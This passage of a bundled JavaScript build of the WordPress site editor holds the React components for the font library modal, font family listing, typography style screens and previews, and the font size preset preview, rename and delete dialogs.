18198 notice && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18199 external_wp_components_namespaceObject.Notice,
18200 {
18201 status: notice.type,
18202 __unstableHTML: true,
18203 onRemove: () => setNotice(null),
18204 children: [
18205 notice.message,
18206 notice.errors && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("ul", { children: notice.errors.map((error, index) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("li", { children: error }, index)) })
18207 ]
18208 }
18209 ),
18210 isUploading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__upload-area", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.ProgressBar, {}) }) }),
18211 !isUploading && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18212 external_wp_components_namespaceObject.FormFileUpload,
18213 {
18214 accept: ALLOWED_FILE_EXTENSIONS.map(
18215 (ext) => `.${ext}`
18216 ).join(","),
18217 multiple: true,
18218 onChange: onFilesUpload,
18219 render: ({ openFileDialog }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18220 external_wp_components_namespaceObject.Button,
18221 {
18222 __next40pxDefaultSize: true,
18223 className: "font-library-modal__upload-area",
18224 onClick: openFileDialog,
18225 children: (0,external_wp_i18n_namespaceObject.__)("Upload font")
18226 }
18227 )
18228 }
18229 ),
18230 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { margin: 2 }),
18231 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { className: "font-library-modal__upload-area__text", children: (0,external_wp_i18n_namespaceObject.__)(
18232 "Uploaded fonts appear in your library and can be used in your theme. Supported formats: .ttf, .otf, .woff, and .woff2."
18233 ) })
18234 ] })
18235 ] });
18236}
18237var upload_fonts_default = UploadFonts;
18238
18239
18240;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-library-modal/index.js
18241
18242
18243
18244
18245
18246
18247
18248
18249
18250
18251
18252const { Tabs } = unlock(external_wp_components_namespaceObject.privateApis);
18253const DEFAULT_TAB = {
18254 id: "installed-fonts",
18255 title: (0,external_wp_i18n_namespaceObject._x)("Library", "Font library")
18256};
18257const UPLOAD_TAB = {
18258 id: "upload-fonts",
18259 title: (0,external_wp_i18n_namespaceObject._x)("Upload", "noun")
18260};
18261const tabsFromCollections = (collections) => collections.map(({ slug, name }) => ({
18262 id: slug,
18263 title: collections.length === 1 && slug === "google-fonts" ? (0,external_wp_i18n_namespaceObject.__)("Install Fonts") : name
18264}));
18265function FontLibraryModal({
18266 onRequestClose,
18267 defaultTabId = "installed-fonts"
18268}) {
18269 const { collections } = (0,external_wp_element_.useContext)(FontLibraryContext);
18270 const canUserCreate = (0,external_wp_data_.useSelect)((select) => {
18271 return select(external_wp_coreData_namespaceObject.store).canUser("create", {
18272 kind: "postType",
18273 name: "wp_font_family"
18274 });
18275 }, []);
18276 const tabs = [DEFAULT_TAB];
18277 if (canUserCreate) {
18278 tabs.push(UPLOAD_TAB);
18279 tabs.push(...tabsFromCollections(collections || []));
18280 }
18281 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18282 external_wp_components_namespaceObject.Modal,
18283 {
18284 title: (0,external_wp_i18n_namespaceObject.__)("Fonts"),
18285 onRequestClose,
18286 isFullScreen: true,
18287 className: "font-library-modal",
18288 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(Tabs, { defaultTabId, children: [
18289 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "font-library-modal__tablist-container", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.TabList, { children: tabs.map(({ id, title }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(Tabs.Tab, { tabId: id, children: title }, id)) }) }),
18290 tabs.map(({ id }) => {
18291 let contents;
18292 switch (id) {
18293 case "upload-fonts":
18294 contents = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(upload_fonts_default, {});
18295 break;
18296 case "installed-fonts":
18297 contents = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(installed_fonts_default, {});
18298 break;
18299 default:
18300 contents = /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_collection_default, { slug: id });
18301 }
18302 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18303 Tabs.TabPanel,
18304 {
18305 tabId: id,
18306 focusable: false,
18307 children: contents
18308 },
18309 id
18310 );
18311 })
18312 ] })
18313 }
18314 );
18315}
18316var font_library_modal_default = FontLibraryModal;
18317
18318
18319;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-family-item.js
18320
18321
18322
18323
18324
18325
18326function FontFamilyItem({ font }) {
18327 const { handleSetLibraryFontSelected, setModalTabOpen } = (0,external_wp_element_.useContext)(FontLibraryContext);
18328 const variantsCount = font?.fontFace?.length || 1;
18329 const handleClick = () => {
18330 handleSetLibraryFontSelected(font);
18331 setModalTabOpen("installed-fonts");
18332 };
18333 const previewStyle = getFamilyPreviewStyle(font);
18334 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItem, { onClick: handleClick, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
18335 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { style: previewStyle, children: font.name }),
18336 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { className: "edit-site-global-styles-screen-typography__font-variants-count", children: (0,external_wp_i18n_namespaceObject.sprintf)(
18337 /* translators: %d: Number of font variants. */
18338 (0,external_wp_i18n_namespaceObject._n)("%d variant", "%d variants", variantsCount),
18339 variantsCount
18340 ) })
18341 ] }) });
18342}
18343var font_family_item_default = FontFamilyItem;
18344
18345
18346;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-families.js
18347
18348
18349
18350
18351
18352
18353
18354
18355
18356
18357
18358
18359const { useGlobalSetting: font_families_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18360function mapFontsWithSource(fonts, source) {
18361 return fonts ? fonts.map((f) => setUIValuesNeeded(f, { source })) : [];
18362}
18363function FontFamilies() {
18364 const { baseCustomFonts, modalTabOpen, setModalTabOpen } = (0,external_wp_element_.useContext)(FontLibraryContext);
18365 const [fontFamilies] = font_families_useGlobalSetting("typography.fontFamilies");
18366 const [baseFontFamilies] = font_families_useGlobalSetting(
18367 "typography.fontFamilies",
18368 void 0,
18369 "base"
18370 );
18371 const themeFonts = mapFontsWithSource(fontFamilies?.theme, "theme");
18372 const customFonts = mapFontsWithSource(fontFamilies?.custom, "custom");
18373 const activeFonts = [...themeFonts, ...customFonts].sort(
18374 (a, b) => a.name.localeCompare(b.name)
18375 );
18376 const hasFonts = 0 < activeFonts.length;
18377 const hasInstalledFonts = hasFonts || baseFontFamilies?.theme?.length > 0 || baseCustomFonts?.length > 0;
18378 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18379 !!modalTabOpen && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18380 font_library_modal_default,
18381 {
18382 onRequestClose: () => setModalTabOpen(null),
18383 defaultTabId: modalTabOpen
18384 }
18385 ),
18386 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 2, children: [
18387 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "space-between", children: [
18388 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(subtitle_default, { level: 3, children: (0,external_wp_i18n_namespaceObject.__)("Fonts") }),
18389 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18390 external_wp_components_namespaceObject.Button,
18391 {
18392 onClick: () => setModalTabOpen("installed-fonts"),
18393 label: (0,external_wp_i18n_namespaceObject.__)("Manage fonts"),
18394 icon: settings_default,
18395 size: "small"
18396 }
18397 )
18398 ] }),
18399 activeFonts.length > 0 && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalItemGroup, { size: "large", isBordered: true, isSeparated: true, children: activeFonts.map((font) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18400 font_family_item_default,
18401 {
18402 font
18403 },
18404 font.slug
18405 )) }) }),
18406 !hasFonts && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18407 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalText, { as: "p", children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)("No fonts activated.") : (0,external_wp_i18n_namespaceObject.__)("No fonts installed.") }),
18408 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18409 external_wp_components_namespaceObject.Button,
18410 {
18411 className: "edit-site-global-styles-font-families__manage-fonts",
18412 variant: "secondary",
18413 __next40pxDefaultSize: true,
18414 onClick: () => {
18415 setModalTabOpen(
18416 hasInstalledFonts ? "installed-fonts" : "upload-fonts"
18417 );
18418 },
18419 children: hasInstalledFonts ? (0,external_wp_i18n_namespaceObject.__)("Manage fonts") : (0,external_wp_i18n_namespaceObject.__)("Add fonts")
18420 }
18421 )
18422 ] })
18423 ] })
18424 ] });
18425}
18426var font_families_default = ({ ...props }) => /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(context_default, { children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(FontFamilies, { ...props }) });
18427
18428
18429;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography.js
18430
18431
18432
18433
18434
18435
18436
18437
18438
18439
18440function ScreenTypography() {
18441 const fontLibraryEnabled = (0,external_wp_data_.useSelect)(
18442 (select) => select(external_wp_editor_namespaceObject.store).getEditorSettings().fontLibraryEnabled,
18443 []
18444 );
18445 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18446 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18447 header_default,
18448 {
18449 title: (0,external_wp_i18n_namespaceObject.__)("Typography"),
18450 description: (0,external_wp_i18n_namespaceObject.__)(
18451 "Available fonts, typographic styles, and the application of those styles."
18452 )
18453 }
18454 ),
18455 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)("div", { className: "edit-site-global-styles-screen", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: 7, children: [
18456 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(TypographyVariations, { title: (0,external_wp_i18n_namespaceObject.__)("Typesets") }),
18457 fontLibraryEnabled && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_families_default, {}),
18458 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(typography_elements_default, {}),
18459 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(font_sizes_count_default, {})
18460 ] }) })
18461 ] });
18462}
18463var screen_typography_default = ScreenTypography;
18464
18465
18466;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-panel.js
18467
18468
18469
18470const {
18471 useGlobalStyle: typography_panel_useGlobalStyle,
18472 useGlobalSetting: typography_panel_useGlobalSetting,
18473 useSettingsForBlockElement: typography_panel_useSettingsForBlockElement,
18474 TypographyPanel: typography_panel_StylesTypographyPanel
18475} = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18476function TypographyPanel({ element, headingLevel }) {
18477 let prefixParts = [];
18478 if (element === "heading") {
18479 prefixParts = prefixParts.concat(["elements", headingLevel]);
18480 } else if (element && element !== "text") {
18481 prefixParts = prefixParts.concat(["elements", element]);
18482 }
18483 const prefix = prefixParts.join(".");
18484 const [style] = typography_panel_useGlobalStyle(prefix, void 0, "user", {
18485 shouldDecodeEncode: false
18486 });
18487 const [inheritedStyle, setStyle] = typography_panel_useGlobalStyle(
18488 prefix,
18489 void 0,
18490 "all",
18491 {
18492 shouldDecodeEncode: false
18493 }
18494 );
18495 const [rawSettings] = typography_panel_useGlobalSetting("");
18496 const usedElement = element === "heading" ? headingLevel : element;
18497 const settings = typography_panel_useSettingsForBlockElement(
18498 rawSettings,
18499 void 0,
18500 usedElement
18501 );
18502 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18503 typography_panel_StylesTypographyPanel,
18504 {
18505 inheritedValue: inheritedStyle,
18506 value: style,
18507 onChange: setStyle,
18508 settings
18509 }
18510 );
18511}
18512
18513
18514;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/typography-preview.js
18515
18516
18517
18518const { useGlobalStyle: typography_preview_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18519function TypographyPreview({ name, element, headingLevel }) {
18520 let prefix = "";
18521 if (element === "heading") {
18522 prefix = `elements.${headingLevel}.`;
18523 } else if (element && element !== "text") {
18524 prefix = `elements.${element}.`;
18525 }
18526 const [fontFamily] = typography_preview_useGlobalStyle(
18527 prefix + "typography.fontFamily",
18528 name
18529 );
18530 const [gradientValue] = typography_preview_useGlobalStyle(prefix + "color.gradient", name);
18531 const [backgroundColor] = typography_preview_useGlobalStyle(
18532 prefix + "color.background",
18533 name
18534 );
18535 const [fallbackBackgroundColor] = typography_preview_useGlobalStyle("color.background");
18536 const [color] = typography_preview_useGlobalStyle(prefix + "color.text", name);
18537 const [fontSize] = typography_preview_useGlobalStyle(prefix + "typography.fontSize", name);
18538 const [fontStyle] = typography_preview_useGlobalStyle(
18539 prefix + "typography.fontStyle",
18540 name
18541 );
18542 const [fontWeight] = typography_preview_useGlobalStyle(
18543 prefix + "typography.fontWeight",
18544 name
18545 );
18546 const [letterSpacing] = typography_preview_useGlobalStyle(
18547 prefix + "typography.letterSpacing",
18548 name
18549 );
18550 const extraStyles = element === "link" ? {
18551 textDecoration: "underline"
18552 } : {};
18553 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18554 "div",
18555 {
18556 className: "edit-site-typography-preview",
18557 style: {
18558 fontFamily: fontFamily ?? "serif",
18559 background: gradientValue ?? backgroundColor ?? fallbackBackgroundColor,
18560 color,
18561 fontSize,
18562 fontStyle,
18563 fontWeight,
18564 letterSpacing,
18565 ...extraStyles
18566 },
18567 children: "Aa"
18568 }
18569 );
18570}
18571
18572
18573;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/screen-typography-element.js
18574
18575
18576
18577
18578
18579
18580
18581const screen_typography_element_elements = {
18582 text: {
18583 description: (0,external_wp_i18n_namespaceObject.__)("Manage the fonts used on the site."),
18584 title: (0,external_wp_i18n_namespaceObject.__)("Text")
18585 },
18586 link: {
18587 description: (0,external_wp_i18n_namespaceObject.__)("Manage the fonts and typography used on the links."),
18588 title: (0,external_wp_i18n_namespaceObject.__)("Links")
18589 },
18590 heading: {
18591 description: (0,external_wp_i18n_namespaceObject.__)("Manage the fonts and typography used on headings."),
18592 title: (0,external_wp_i18n_namespaceObject.__)("Headings")
18593 },
18594 caption: {
18595 description: (0,external_wp_i18n_namespaceObject.__)("Manage the fonts and typography used on captions."),
18596 title: (0,external_wp_i18n_namespaceObject.__)("Captions")
18597 },
18598 button: {
18599 description: (0,external_wp_i18n_namespaceObject.__)("Manage the fonts and typography used on buttons."),
18600 title: (0,external_wp_i18n_namespaceObject.__)("Buttons")
18601 }
18602};
18603function ScreenTypographyElement({ element }) {
18604 const [headingLevel, setHeadingLevel] = (0,external_wp_element_.useState)("heading");
18605 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_ReactJSXRuntime_namespaceObject.Fragment, { children: [
18606 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18607 header_default,
18608 {
18609 title: screen_typography_element_elements[element].title,
18610 description: screen_typography_element_elements[element].description
18611 }
18612 ),
18613 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginX: 4, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18614 TypographyPreview,
18615 {
18616 element,
18617 headingLevel
18618 }
18619 ) }),
18620 element === "heading" && /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginX: 4, marginBottom: "1em", children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(
18621 external_wp_components_namespaceObject.__experimentalToggleGroupControl,
18622 {
18623 label: (0,external_wp_i18n_namespaceObject.__)("Select heading level"),
18624 hideLabelFromVision: true,
18625 value: headingLevel,
18626 onChange: setHeadingLevel,
18627 isBlock: true,
18628 size: "__unstable-large",
18629 __nextHasNoMarginBottom: true,
18630 children: [
18631 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18632 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18633 {
18634 value: "heading",
18635 showTooltip: true,
18636 "aria-label": (0,external_wp_i18n_namespaceObject.__)("All headings"),
18637 label: (0,external_wp_i18n_namespaceObject._x)("All", "heading levels")
18638 }
18639 ),
18640 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18641 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18642 {
18643 value: "h1",
18644 showTooltip: true,
18645 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 1"),
18646 label: (0,external_wp_i18n_namespaceObject.__)("H1")
18647 }
18648 ),
18649 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18650 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18651 {
18652 value: "h2",
18653 showTooltip: true,
18654 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 2"),
18655 label: (0,external_wp_i18n_namespaceObject.__)("H2")
18656 }
18657 ),
18658 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18659 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18660 {
18661 value: "h3",
18662 showTooltip: true,
18663 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 3"),
18664 label: (0,external_wp_i18n_namespaceObject.__)("H3")
18665 }
18666 ),
18667 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18668 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18669 {
18670 value: "h4",
18671 showTooltip: true,
18672 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 4"),
18673 label: (0,external_wp_i18n_namespaceObject.__)("H4")
18674 }
18675 ),
18676 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18677 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18678 {
18679 value: "h5",
18680 showTooltip: true,
18681 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 5"),
18682 label: (0,external_wp_i18n_namespaceObject.__)("H5")
18683 }
18684 ),
18685 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18686 external_wp_components_namespaceObject.__experimentalToggleGroupControlOption,
18687 {
18688 value: "h6",
18689 showTooltip: true,
18690 "aria-label": (0,external_wp_i18n_namespaceObject.__)("Heading 6"),
18691 label: (0,external_wp_i18n_namespaceObject.__)("H6")
18692 }
18693 )
18694 ]
18695 }
18696 ) }),
18697 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18698 TypographyPanel,
18699 {
18700 element,
18701 headingLevel
18702 }
18703 )
18704 ] });
18705}
18706var screen_typography_element_default = ScreenTypographyElement;
18707
18708
18709;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size-preview.js
18710
18711
18712
18713
18714const { useGlobalStyle: font_size_preview_useGlobalStyle } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18715function FontSizePreview({ fontSize }) {
18716 const [font] = font_size_preview_useGlobalStyle("typography");
18717 const input = fontSize?.fluid?.min && fontSize?.fluid?.max ? {
18718 minimumFontSize: fontSize.fluid.min,
18719 maximumFontSize: fontSize.fluid.max
18720 } : {
18721 fontSize: fontSize.size
18722 };
18723 const computedFontSize = (0,external_wp_blockEditor_namespaceObject.getComputedFluidTypographyValue)(input);
18724 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18725 "div",
18726 {
18727 className: "edit-site-typography-preview",
18728 style: {
18729 fontSize: computedFontSize,
18730 fontFamily: font?.fontFamily ?? "serif"
18731 },
18732 children: (0,external_wp_i18n_namespaceObject.__)("Aa")
18733 }
18734 );
18735}
18736var font_size_preview_default = FontSizePreview;
18737
18738
18739;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/confirm-delete-font-size-dialog.js
18740
18741
18742
18743function ConfirmDeleteFontSizeDialog({
18744 fontSize,
18745 isOpen,
18746 toggleOpen,
18747 handleRemoveFontSize
18748}) {
18749 const handleConfirm = async () => {
18750 toggleOpen();
18751 handleRemoveFontSize(fontSize);
18752 };
18753 const handleCancel = () => {
18754 toggleOpen();
18755 };
18756 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18757 external_wp_components_namespaceObject.__experimentalConfirmDialog,
18758 {
18759 isOpen,
18760 cancelButtonText: (0,external_wp_i18n_namespaceObject.__)("Cancel"),
18761 confirmButtonText: (0,external_wp_i18n_namespaceObject.__)("Delete"),
18762 onCancel: handleCancel,
18763 onConfirm: handleConfirm,
18764 size: "medium",
18765 children: fontSize && (0,external_wp_i18n_namespaceObject.sprintf)(
18766 /* translators: %s: Name of the font size preset. */
18767 (0,external_wp_i18n_namespaceObject.__)(
18768 'Are you sure you want to delete "%s" font size preset?'
18769 ),
18770 fontSize.name
18771 )
18772 }
18773 );
18774}
18775var confirm_delete_font_size_dialog_default = ConfirmDeleteFontSizeDialog;
18776
18777
18778;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/rename-font-size-dialog.js
18779
18780
18781
18782
18783function RenameFontSizeDialog({ fontSize, toggleOpen, handleRename }) {
18784 const [newName, setNewName] = (0,external_wp_element_.useState)(fontSize.name);
18785 const handleConfirm = () => {
18786 if (newName.trim()) {
18787 handleRename(newName);
18788 }
18789 toggleOpen();
18790 };
18791 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18792 external_wp_components_namespaceObject.Modal,
18793 {
18794 onRequestClose: toggleOpen,
18795 focusOnMount: "firstContentElement",
18796 title: (0,external_wp_i18n_namespaceObject.__)("Rename"),
18797 size: "small",
18798 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18799 "form",
18800 {
18801 onSubmit: (event) => {
18802 event.preventDefault();
18803 handleConfirm();
18804 toggleOpen();
18805 },
18806 children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalVStack, { spacing: "3", children: [
18807 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18808 external_wp_components_namespaceObject.__experimentalInputControl,
18809 {
18810 __next40pxDefaultSize: true,
18811 autoComplete: "off",
18812 value: newName,
18813 onChange: setNewName,
18814 label: (0,external_wp_i18n_namespaceObject.__)("Name"),
18815 placeholder: (0,external_wp_i18n_namespaceObject.__)("Font size preset name")
18816 }
18817 ),
18818 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.__experimentalHStack, { justify: "right", children: [
18819 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18820 external_wp_components_namespaceObject.Button,
18821 {
18822 __next40pxDefaultSize: true,
18823 variant: "tertiary",
18824 onClick: toggleOpen,
18825 children: (0,external_wp_i18n_namespaceObject.__)("Cancel")
18826 }
18827 ),
18828 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18829 external_wp_components_namespaceObject.Button,
18830 {
18831 __next40pxDefaultSize: true,
18832 variant: "primary",
18833 type: "submit",
18834 children: (0,external_wp_i18n_namespaceObject.__)("Save")
18835 }
18836 )
18837 ] })
18838 ] })
18839 }
18840 )
18841 }
18842 );
18843}
18844var rename_font_size_dialog_default = RenameFontSizeDialog;
18845
18846
18847;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/size-control/index.js
18848
18849
18850const DEFAULT_UNITS = ["px", "em", "rem", "vw", "vh"];
18851function SizeControl({
18852 // Do not allow manipulation of margin bottom
18853 __nextHasNoMarginBottom,
18854 ...props
18855}) {
18856 const { baseControlProps } = (0,external_wp_components_namespaceObject.useBaseControlProps)(props);
18857 const { value, onChange, fallbackValue, disabled, label } = props;
18858 const units = (0,external_wp_components_namespaceObject.__experimentalUseCustomUnits)({
18859 availableUnits: DEFAULT_UNITS
18860 });
18861 const [valueQuantity, valueUnit = "px"] = (0,external_wp_components_namespaceObject.__experimentalParseQuantityAndUnitFromRawValue)(value, units);
18862 const isValueUnitRelative = !!valueUnit && ["em", "rem", "vw", "vh"].includes(valueUnit);
18863 const handleUnitControlChange = (newValue) => {
18864 onChange(newValue);
18865 };
18866 const handleRangeControlChange = (newValue) => {
18867 onChange?.(newValue + valueUnit);
18868 };
18869 return /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.BaseControl, { ...baseControlProps, __nextHasNoMarginBottom: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsxs)(external_wp_components_namespaceObject.Flex, { children: [
18870 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18871 external_wp_components_namespaceObject.__experimentalUnitControl,
18872 {
18873 __next40pxDefaultSize: true,
18874 __nextHasNoMarginBottom: true,
18875 label,
18876 hideLabelFromVision: true,
18877 value,
18878 onChange: handleUnitControlChange,
18879 units,
18880 min: 0,
18881 disabled
18882 }
18883 ) }),
18884 /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.FlexItem, { isBlock: true, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(external_wp_components_namespaceObject.__experimentalSpacer, { marginX: 2, marginBottom: 0, children: /* @__PURE__ */ (0,external_ReactJSXRuntime_namespaceObject.jsx)(
18885 external_wp_components_namespaceObject.RangeControl,
18886 {
18887 __next40pxDefaultSize: true,
18888 __nextHasNoMarginBottom: true,
18889 label,
18890 hideLabelFromVision: true,
18891 value: valueQuantity,
18892 initialPosition: fallbackValue,
18893 withInputField: false,
18894 onChange: handleRangeControlChange,
18895 min: 0,
18896 max: isValueUnitRelative ? 10 : 100,
18897 step: isValueUnitRelative ? 0.1 : 1,
18898 disabled
18899 }
18900 ) }) })
18901 ] }) });
18902}
18903var size_control_default = SizeControl;
18904
18905
18906;// ./node_modules/@wordpress/edit-site/build-module/components/global-styles/font-sizes/font-size.js
18907
18908
18909
18910
18911
18912
18913
18914
18915
18916
18917
18918
18919const { Menu } = unlock(external_wp_components_namespaceObject.privateApis);
18920const { useGlobalSetting: font_size_useGlobalSetting } = unlock(external_wp_blockEditor_namespaceObject.privateApis);
18921function FontSize() {
18922 const [isDeleteConfirmOpen, setIsDeleteConfirmOpen] = (0,external_wp_element_.useState)(false);
18923 const [isRenameDialogOpen, setIsRenameDialogOpen] = (0,external_wp_element_.useState)(false);
18924 const {
18925 params: { origin, slug },
18926 goBack
18927 } = (0,external_wp_components_namespaceObject.useNavigator)();
18928 const [fontSizes, setFontSizes] = font_size_useGlobalSetting(
18929 "typography.fontSizes"
18930 );
18931 const [globalFluid] = font_size_useGlobalSetting("typography.fluid");
18932 const sizes = fontSizes[origin] ?? [];
18933 const fontSize = sizes.find((size) => size.slug === slug);
18934 (0,external_wp_element_.useEffect)(() => {
18935 if (!!slug && !fontSize) {
18936 goBack();
18937 }
18938 }, [slug, fontSize, goBack]);
18939 if (!origin || !slug || !fontSize) {
18940 return null;
18941 }
18942 const isFluid = fontSize?.fluid !== void 0 ? !!fontSize.fluid : !!globalFluid;
18943 const isCustomFluid = typeof fontSize?.fluid === "object";
18944 const handleNameChange = (value) => {
18945 updateFontSize("name", value);
18946 };
18947 const handleFontSizeChange = (value) => {
18948 updateFontSize("size", value);
18949 };
